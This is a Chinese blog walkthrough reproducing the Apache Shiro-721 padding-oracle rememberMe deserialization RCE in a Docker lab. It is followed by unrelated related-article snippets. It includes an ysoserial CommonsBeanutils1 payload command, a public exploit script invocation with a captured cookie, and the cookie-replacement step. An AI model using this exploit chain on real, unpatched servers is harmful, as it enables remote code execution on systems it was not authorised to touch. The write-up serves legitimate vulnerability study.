Shiro-721---漏洞复现

news2024/11/27 22:24:27

漏洞原理

Shiro rememberMe 反序列化远程代码执行漏洞

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

rememberMe cookie 通过 AES-128-CBC 模式加密,易受到 Padding Oracle 攻击。可以通过结合有效的 rememberMe cookie 作为 Padding Oracle 攻击的前缀,然后精⼼制作 rememberMe 来进⾏反序列化攻击。

Tip:在1.2.4版本后,shiro已经更换 AES-CBC 为 AES-GCM ,无法再通过 Padding Oracle 遍历 key 。

影响版本

Apache Shiro <= 1.4.1(需要一个合法的登录账号,基于Padding Oracle attack来实现的攻击)

通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。下面会有单独的篇幅讲Padding Oracle Attack。

shiro-721对cookie中rememberMe的值的解析过程

在这里插入图片描述

特征判断

由于漏洞利用需要一个合法的登录账号,这里利用账号正常登陆获取一个有效的rememberMe cookie ,并记录下这个rememberMe的值

docker环境搭建

方法一:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

方法二:

docker pull vulfocus/shiro-721

docker run -d -p 8080:8080 vulfocus/shiro-721

漏洞复现

先使用合法账户登陆,记得勾选remember Me,然后使用burp抓包获取cookie:
在这里插入图片描述
获取到cookie:
在这里插入图片描述
将其中的remember Me字段复制下来输入到工具中进行利用:

使用ysoserial工具生成payload

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/123" > payload.class
#"touch /tmp/123" 在tmp目录写入123

使用工具生成payload

脚本链接:https://github.com/wuppp/shiro_rce_exp python shiro_exp.py
http://192.168.88.130:8080 [rememberMeCookie] payload.class

python shiro_exp.py http://192.168.171.137:8080/login.jsp LIO2vKStP5R4NN+TLY0Bgfrz+3sacQHB1BfrOheCVAHeFAGtRsX9JW24tCvcedluOxZwFPoOSs7/tA0fK+UJ9ylRjLIT87NIN1smV22TVqdQ4vSJXB42IQCTV1mDA2CwlDpoeem6M4qY2SeB4JwIpV+iUwNJoOj+NfWeX3/lLZHkoCnsR5TCm6GrHyhdaDZYK0BAJNXFQ9658sJGAF1fztcfR0pYD9RtX26iLW73+D0pd3x6DhPQB7euA4uhUZ3Ue8RoOK3jTqxHC3U5n0DIMpc1RWlHVzUyHjejFAPXCReV+7ds/dWr+b5XlgP9/7ajmi2+6dqr2apVaIhEMC5SP4X4Y+QZw3wS6w76pD1vT8JSlG6l+h4+tIRuS4/gbUzX8GhmPCtw2MBMS/xZ2FsjvTPexdPLEf+114qo4152aNNcXul4zN3czLlve+otlqd5E/WyhhbBA2+EFk+Pewnsq2g2sS53s57H9BcWhXHkcwf0cIrkOXAn9a9xfkkm1HH9 payload.class

在这里插入图片描述

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

在这里插入图片描述

最终会生成恶意的rememberMe cookie,我们使用这个cookie替换原数据包中的cookie。然后登陆进服务器看,会发现/tmp目录下被创建了一个123文件。

在这里插入图片描述

漏洞利用成功!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/471068.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

latex论文排版个人向相关问题记录

很久没更新了&#xff0c;小论文基本都见刊了&#xff0c;记录下之前写论文碰上的latex一些排版问题吧&#xff0c;比较琐碎。 伪代码跨页问题 最开始使用algorithms包来写的伪代码&#xff0c;左边会有大方括号&#xff0c;蛮好看的。 不过使用algorithms包进行伪代码撰写&a…

Java语言----动态顺序表(ArrayList)

目录 一.顺序表 二.顺序表的手动实现 2.1顺序表的创建 2.2.基本功能的实现 2.2.1扩容顺序表 2.2.2 判断顺序表是否为满 2.2.3 判断顺序表是否为空 2.2.4打印顺序表 2.2.5清空顺序表 2.3四大功能的实现 2.3.1增加元素 2.3.2删除元素 2.3.3查找元素 2.3.4更改数据 总代码 &a…

记录-有意思的气泡 Loading 效果

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 今日&#xff0c;群友提问&#xff0c;如何实现这么一个 Loading 效果&#xff1a; 这个确实有点意思&#xff0c;但是这是 CSS 能够完成的&#xff1f; 没错&#xff0c;这个效果中的核心气泡效果&am…

【SpringCloud常见面试题】

SpringCloud常见面试题 1.微服务篇1.1.SpringCloud常见组件有哪些&#xff1f;1.2.Nacos的服务注册表结构是怎样的&#xff1f;1.3.Nacos如何支撑阿里内部数十万服务注册压力&#xff1f;1.4.Nacos如何避免并发读写冲突问题&#xff1f;1.5.Nacos与Eureka的区别有哪些&#xff…

易岸公考:公务员有五种类型可以挑选?

公务员分为国试、省试、选拔、乡镇公务员、选拔等不同考试&#xff1b; 不符合选拔选调生条件的&#xff0c;可选择国考、省考、乡镇公务员。 成为公务员后&#xff0c;遴选是你必不可少的晋升渠道。 一、国家考试 国考是指中央和国家机关的公务员考试&#xff0c;其招录机构…

关于TypeVariable的深度理解

在看java源码时&#xff0c;如果涉及到反射&#xff0c;会经常看到TypeVariable。 那么这玩意到底是个什么东西&#xff1f; 这是个必须要搞清楚的概念&#xff0c;否则很难理解源码的意图是什么&#xff1f; 我在这里先给出结论&#xff1a;这个问题的关键是具体类型和类型变…

Linux shell编程 循环语句for while实例

while 循环创建用户 i1 while [ $i -le 10 ] do useradd user${i} echo "123456" | passwd --stdin user${i} &> /dev/null let i done猜测价格 [rootxue opt]# cat caijia.sh price$[RANDOM%1001] #0-32767 i0 while true doread -p "input the price&…

尚融宝25-投资列表展示以及实现充值功能

目录 一、展示投资列表 &#xff08;一&#xff09;需求 &#xff08;二&#xff09;后端 &#xff08;三&#xff09;前端 二、充值功能 &#xff08;一&#xff09;需求 1、需求描述 2、流程 &#xff08;二&#xff09;充值 1、后端 2、前端 &#xff08;三&…

第九章 C#脚本(下)

本章节我们说一说MonoBehaviour这个类&#xff0c;它的内部有很多方法用来执行不同的逻辑。Unity脚本从唤醒到销毁都有着一套比较完善的生命周期&#xff0c;添加任何脚本都要遵守生命周期法则&#xff01;直白的讲&#xff0c;就是MonoBehaviour类中的方法的执行是有严格的顺序…

Windows强制删除文件夹

命令&#xff1a;rd/s/q 路径 如果文件较大&#xff0c;需要等待几分钟&#xff0c;但一定会删掉的。

使用Fork和GitHub完成团队项目开发

前提 拥有自己的GitHub账号项目组组长已经创建好了 一个远程仓库能够科学上网安装了Fork软件 基础步骤 该内容分为两个部分&#xff0c;分别为团队协作者&#xff08;项目成员&#xff09;和团队组织者&#xff08;项目组长&#xff09;&#xff0c;我们首先来介绍作为项目成员…

Docker-Compose 了解 部署nginx与lnmp

Docker-Compose Docker-compose 简介YAML 文件格式及编写注意事项Docker Compose配置常用字段Docker Compose 常用命令Docker Compose 文件结构部署 composeDocker Compose 环境安装 compose部署nginx&#xff08;1&#xff09;准备依赖文件编写配置文件docker-compose.yml com…

学生无线耳机哪款好?两百左右适合学生党的无线耳机推荐

学生无线耳机哪款好&#xff1f;现如今&#xff0c;学生党也成为了蓝牙耳机的主要用户群体之一。接下来&#xff0c;我来给学生群体推荐几款两百左右的无线耳机&#xff0c;一起来看看吧。 一、南卡小音舱Lite2蓝牙耳机 参考价&#xff1a;299 南卡小音舱的音质和佩戴体验都在…

Vue过渡与动画的实现效果

使用 transition 标签配合 CSS3 过渡实现【不完整代码】&#xff1a; Vue 还提供了四个 class 类名&#xff0c;分别是进入的起点&#xff08;v-enter&#xff09;进入的终点&#xff08;v-enter-to&#xff09;离开的起点&#xff08;v-leave&#xff09;离开的终点&#xff…

纷享销客标讯通,大客招标经营的杀手锏

呀&#xff0c;对手都中标了&#xff0c;我咋才知道&#xff1f;呀&#xff0c;能不能预测目标客户的招标&#xff1f;呀&#xff0c;对手有什么客户可以挖一挖&#xff1f; 呀&#xff0c;ROI 300倍的奥秘是什么&#xff1f; 纷享销客标讯通&#xff0c;帮助企业&#xff1a…

射频基础(一)

目录 一、电磁波 二、直射波 三、反射波 四、绕射波 五、散射波 六、趋肤效应 七、多径效应 八、阴影效应 九、菲涅尔区 十、慢衰落和快衰落 一、电磁波 电磁波是能量的一种&#xff0c;凡是高于绝对零度的物体&#xff0c;都会释出电磁波。电与磁可说是一体两面&#xff0c;电…

85.qt qml-炫酷烟花粒子特效(支持多种爆炸模式(文字)、爆炸阴影、背景场景)

效果如下所示: 截图如下所示: 实现内容如下所示: 1.实现多个爆炸效果2.爆炸的时候增加光度阴影效果3.由于场景有湖面,所以还需要增加一个倒影粒子组首先我们来学习下,该示例中所需要常用的类型点 1.如何更改粒子生命周期时的颜色变换动画 方法有两种。 1.1通过colorTable和s…

在 PDF 中添加文本的 3 种简单方法

我们更喜欢将我们的文件保存为 PDF 并打印它&#xff0c;这样打印的文件将保持原始的完美结构。你不得不承认&#xff0c;有时候&#xff0c;当你打印一个 Word 文件时&#xff0c;它可能会打印出乱七八糟的排版&#xff0c;这对进一步的工作来说是令人沮丧的。 PDF在我们的日…

【Python基础篇】从Hello, world到函数几分钟看完就都会了~

大家好&#xff0c;我是辣条哥~ Python是一种高级编程语言&#xff0c;易于学习和使用。以下是Python入门基础的一小部分&#xff1a; 目录 安装Python&#xff1a;编写第一个Python程序变量和数据类型运算符算术运算符&#xff1a;比较运算符&#xff1a;逻辑运算符&#xff1…

[CDC 2018] 理解压缩对抗隐私

Understanding Compressive Adversarial Privacy | IEEE Conference Publication | IEEE Xplore 摘要 本文提出了一种新的隐私保护方法&#xff0c;称为 压缩对抗隐私&#xff08;Compressive Adversarial Privacy&#xff0c;CAP&#xff09;&#xff0c;它结合了 压缩感知和 …